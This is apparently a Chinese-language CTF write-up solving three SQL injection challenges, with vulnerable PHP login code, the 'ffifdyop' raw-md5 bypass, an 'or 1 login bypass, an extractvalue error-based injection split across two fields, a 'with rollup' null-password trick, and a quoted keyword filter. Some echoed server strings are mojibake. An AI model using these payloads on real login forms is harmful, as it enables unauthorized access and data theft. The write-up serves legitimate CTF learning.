CTF-SQL注入题
| <!-- $password=$_POST['password']; | |
| $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'"; | |
| $result=mysqli_query($link,$sql); | |
| if(mysqli_num_rows($result)>0){ | |
| echo 'flag is :'.$flag; | |
| } | |
| else{ | |
| echo '密码错误!'; | |
| } --> |
这题根据代码分析
password = '".md5($password,true). //这里的password 为正确的就可以返回结果大于1 得到flag
正常思路是用sql 语句闭合 配合 or 满足条件 类似于SQL 万能密码
md5导致无法闭合语句,但这里的md5的用法出现了问题

会以16字符二进制格式 输出
而不是加密奥的32字符十六进制数
所以 构造出 'or 即可
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
content: 129581926211651571912466741651878684928 (这是我们输入的字符串,用来进行md5编码)
hex: 06da5430449f8f6f23dfc1276f722738 (编码后得到的二进制字节码,用16进制的形式表示)
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8 (这是通过二进制字节码在utf-8编码下显示出来的字符串)
加了料的报错注入
mysql的注释符 有三种 # -- /*zhe duan bei zhu shi*/
<!-- $sql="select * from users where username='$username' and password='$password'"; -->
输入' 报错 ‘ 可以用
构造万能密码 'or 1=1# SQLcheck 回显被检测到了SQL攻击 开始测试哪里出问题
先测试or 代入没有问题
代入= 发现被检测
代入# 发现被检测
所以 'or 1 可以用
那么把password='$password'"; $password='or '1
就可以绕过登录 用户名随意 FLAG 藏在数据库
整个题目 应该是可以盲注的 这里先说一下报错注入
username='or extractvalue /*&password=*/(1, concat(0x5c,(select database()))) or '1
select * from users where username=''or extractvalue /*' and password=‘*/(1, concat(0x5c,(select database()))) or '1 ’
经过拼接正好把 and password 这一句注释掉,进行报错注入
由于过滤了 = 这里使用regexp 进行代替
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
| $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; | |
| foreach($_POST as $key=>$value){ | |
| AttackFilter($key,$value,$filter); | |
| } | |
| $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); | |
| if (!$con){ | |
| die('Could not connect: ' . mysql_error()); | |
| } | |
| $db="XXXXXX"; | |
| mysql_select_db($db, $con); | |
| $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; | |
| $query = mysql_query($sql); | |
| if (mysql_num_rows($query) == 1) { | |
| $key = mysql_fetch_array($query); | |
| if($key['pwd'] == $_POST['pwd']) { | |
| print "CTF{XXXXXX}"; | |
| }else{ | |
| print "浜﹀彲璧涜墖锛�"; | |
| } | |
| }else{ | |
| print "涓€棰楄禌鑹囷紒"; |
if($key['pwd'] == $_POST['pwd'])
主要是这一段, 要返回结果有一个pwd值,然后和POST的密码相同
这里可以利用 ='or 1=1 group by pwd with rollup limit 1 offset 2# 返回一个pwd 为null
提交$_POST['pwd'] 为空 即可符合条件 回显flag
---------------------------------

浙公网安备 33010602011771号